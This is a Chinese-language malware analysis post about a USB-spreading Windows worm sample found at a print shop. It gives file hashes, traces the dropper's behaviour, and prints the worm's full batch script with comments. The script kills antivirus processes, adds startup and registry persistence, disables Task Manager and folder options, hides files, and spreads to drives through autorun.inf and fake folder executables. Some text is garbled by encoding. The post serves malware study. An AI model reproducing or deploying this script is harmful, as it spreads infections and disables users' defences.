0.前言
打印店是个好地方,里面有很多野生的皮卡丘等着我们去捕捉。
本次抓到的样本就是从打印店抓到的,样本“驯化”难度一颗星。
1.样本信息
![869d603132ceccd5827870820c9ae609.png](https://img-blog.csdnimg.cn/img_convert/869d603132ceccd5827870820c9ae609.png)
MD5:3fc395746c1c8afe87a4594376cd2b2e
SHA-1:f183347e8884fac4168d9b47ff51c0e963731ed0
File Size:69.5 KB
VT First Submission:2016-03-20 04:41:13
2.样本行为
感染C盘~N盘所有盘的根目录,隐藏根目录下的文件夹,并生成同名的病毒文件,禁用“文件夹和搜索选项”:
![82341a9064e64f74034b73ee1e845d0a.png](https://img-blog.csdnimg.cn/img_convert/82341a9064e64f74034b73ee1e845d0a.png)
![c0889498c26cb52aea9f0bd19d08b700.png](https://img-blog.csdnimg.cn/img_convert/c0889498c26cb52aea9f0bd19d08b700.png)
3.详细分析3.1 exe分析
exe部分比较简单,IDA+OD+Process Monitor分析起来很轻松。
exe程序的流程如下:
①初始化,生成bat代码数据;
②调用GetTempFileNameA生成一个临时文件,本次调试中生成~8D69.tmp;
③取该临时文件的文件名,生成bat文件:~8D69.bat;
④调用WriteFile,将bat代码数据写入~8D69.bat;
![91efed54e21d937227d29eed57beed80.png](https://img-blog.csdnimg.cn/img_convert/91efed54e21d937227d29eed57beed80.png)
⑤调用SetFileAttributes,设置~8D69.bat隐藏属性
⑥调用CreateProcessA,运行~8D69.bat
![6b0d476becae47606d98a8acc2a12b50.png](https://img-blog.csdnimg.cn/img_convert/6b0d476becae47606d98a8acc2a12b50.png)
⑦调用DeleteFile删除~8D69.bat文件;
⑧ExitProcess;
3.2 bat脚本分析
在分析bat脚本前,先补充一些知识点。
① explorer.exe "demo" 打开名为“demo”的文件夹
②假设文件为C:Documents and Settingsjinsun桌面ParseSinglePkgs.bat,则这个bat脚本中的一些扩展变量的含义:
扩展变量 含义
%0 C:Documents and Settingsjinsun桌面ParseSinglePkgs.bat
%~dp0 C:Documents and Settingsjinsun桌面
%cd% C:Documents and Settingsjinsun桌面
%~nx0 ParseSinglePkgs.bat
%~n0 ParseSinglePkgs
%~x0 .bat
::********************************************************************************@shift@echo off::关闭 shift位移和echo功能if exist "%~n0" (explorer.exe "%~n0"&goto a)::打开文件同名文件夹cd /d "%~dp0"if /i "%cd%"=="%~d0" (explorer.exe "%~d0")::如果不存在,判断路径,打开所在盘:aset w=%systemroot%system32Driversif not exist %w%甥䉓湉fo.com (attrib -s -h %0© %0 %w%甥䉓湉fo.com)::system32Drivers路径下如果不存在USBInfo.com文件,则创建该文件::使用Attrib +s +a +h +r命令就是把原本的文件增加了系统文件属性、隐藏文件属性,并拷贝自身%w%甥䉓湉fo.comif /i not "%cd%"=="%w%" (goto end)::在不区分变量的大小写时加/i,原文件就在%w%路径下,则进入end:dtaskkill /f /im usbmon.exe /im U盘病毒免疫器.exe /im USBCleaner.exe /im mmc.exe /im regedit.exe::关闭防病毒进程,主要是usb防护if not exist "%userprofile%「开始」菜单程序启动QQ.com" (copy %w%甥䉓湉fo.com "%userprofile%「开始」菜单程序启动QQ.com" )::将自身拷贝成QQ.comif exist %w%Driver.sys exitif not exist "%systemroot%system32ScreenSave.scr" (copy "%w%甥䉓湉fo.com" "%systemroot%system32ScreenSave.scr")::拷贝自身%systemroot%system32ScreenSave.scrif not exist "%w%甥䉓湉fo.sy_" (call:reg>%w%甥䉓湉fo.sy_)::调用reg,并生成文件USBInfo.sy_,这是个注册表文件,之后可以注册if not exist "%w%甥䉓瑳or.vbe" (call:slp>%w%甥䉓瑳or.vbe)::调用slp,并生成文件USBstor.vbeif not exist "%w%甥䉓湉fo.vbe" (call:vbe>%w%甥䉓湉fo.vbe)::调用vbe,并生成文件USBInfo.vbeif not exist "%w%甥䉓祓s.vbe" (call:slp2>%w%甥䉓祓s.vbe)::调用slp2,并生成文件USBSys.vbegoto 1:endif not exist "%w%甥䉓瑓or.vbe" (call:slp>"%w%甥䉓瑓or.vbe")if exist "%w%Driver.sys" (del /a /f /q "%w%Driver.sys")if not exist "%w%Driver.sys" (echo.Driver>"%w%Driver.sys"&%w%甥䉓瑓or.vbe)if exist "%w%Driver.sys" (del /a /f /q "%w%Driver.sys")if not exist "%w%甥䉓湉fo.vbe" (call:vbe>"%w%甥䉓湉fo.vbe")"%w%甥䉓湉fo.vbe"exit:vbe::运行USBInfo.comecho.createobject("wscript.shell").run "%w%甥䉓湉fo.com"goto :eof:slp::延时echo.wscript.sleep 6000goto :eof:slp2::延时 echo.wscript.sleep 400goto :eof:inf::inf,自启动,autorun.inf文件echo.[AutoRun]echo.icon=%systemroot%system32shell32.dll,7echo.label=本地磁盘echo.open=echo.echo.shellopen=打开(O)echo.shellopenCommand=文件夹.exeecho.shellopenDefault=1goto :eof:regecho.Windows Registry Editor Version 5.00echo.echo.[HKEY_CURRENT_USERControl PanelDesktop]echo."ScreenSaveTimeOut"="60"::屏幕保护的延时秒echo."SCRNSAVE.EXE"="C:WINDOWSsystem32ScreenSave.scr"::屏保运行文件echo.echo.[HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun]echo."@"="c:windowssystem32Drivers甥䉓湉fo.com"::开机启动echo.echo."@"="c:windowssystem32Drivers甥䉓湉fo.com"::开机一次性启动echo.echo."@"="c:windowssystem32Drivers甥䉓湉fo.com"::开机一次性启动echo.echo.[HKEY_CURRENT_USERSoftWareMicrosoftWindowsCurrentVersionPoliciesSystem]echo."DisableTaskmgr"=dword:00000001::禁用任务管理器echo.echo.[HKEY_CURRENT_USERSoftWareMicrosoftWindowsCurrentVersionPoliciesExplorer]echo."NoRun"=dword:00000001echo."NoFolderOptions"=dword:00000001::禁用运行功能、禁用“文件夹和搜索选项”echo.echo.[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced]echo."HideFileExt"=dword:00000001echo."ShowSuperHidden"=dword:00000000echo."Hidden"=dword:00000000::设置文件夹隐藏,无法取消隐藏受保护的操作系统文件echo.echo.[HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL]echo."Checkedvalue"=dword:00000000::无法通过文件夹选项修改显示隐藏文件goto :eof:1::注册,USBInfo.sy_ 这个文件regedit /s %w%甥䉓湉fo.sy_%w%甥䉓瑓or.vbecdcall:sd:call:sif exist e: (goto e)::遍历磁盘,从E盘到n盘,最后是c盘goto ff:ee:call:s:ffif exist f: (goto f)goto gg:ff:call:s:ggif exist g: (goto g)goto hh:gg:call:s:hhif exist h: (goto h)goto ii:hh:call:s:iiif exist i: (goto i)goto jj:ii:call:s:jjif exist j: (goto j)goto kk:jj:call:s:kkif exist k: (goto k)goto ll:kk:call:s:llif exist l: (goto l)goto mm:ll:call:s:mmif exist m: (goto m)goto nn:mm:call:s:nnif exist n: (goto n)goto o:nn:call:s: oc:cd %w%goto d:s%w%甥䉓祓s.vbeif not exist 文件夹.exe (copy %w%甥䉓湉fo.com 文件夹.exe)::拷贝 文件夹.exeattrib +a +r +s +h 文件夹.exe::设置文件属性,文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。if exist autorun.inf (eCho.y|cacls autorun.inf /p everyone:f::echo y|cacls c:autorun.inf /p everyone:f::用通道符号|,把前面的命令执行结果信息发送到下个命令处理。::也就是前面的echo y执行结果为y,发送到下个命令自动确认。。cacls修改文件的访问控制表(ACL)rd autorun.inf /s /q&del /f /a /q autorun.inf)::rd(remove directory)删除目录命令if not exist autorun.inf (call:inf>autorun.inf&attrib +a +r +s +h autorun.inf)::不存在 autorun.inf,则生成这个文件if exist desktop.ini del /f /a /q desktop.inidir /a:d /b>desktop.inifor /f "usebackq tokens=*" %%i in (desktop.ini) do if not exist "%%i.exe" (copy %w%甥䉓湉fo.com "%%i.exe"&attrib +s +h "%%i")::desktop.ini中的每一个文件,创建USBInfo.comdel /f /a /q desktop.iniattrib +a +r +s +h "recycler.exe"attrib +a +r +s +h "system volume information.exe"::********************************************************************************四、总结这个病毒还是很简单的,虽然VT上第一次上传时间是2016年,但感觉这么玩的病毒,应该是十年前的。本文作者:icq5f7a075d,转载自:https://bbs.ichunqiu.com/thread-29574-1-1.html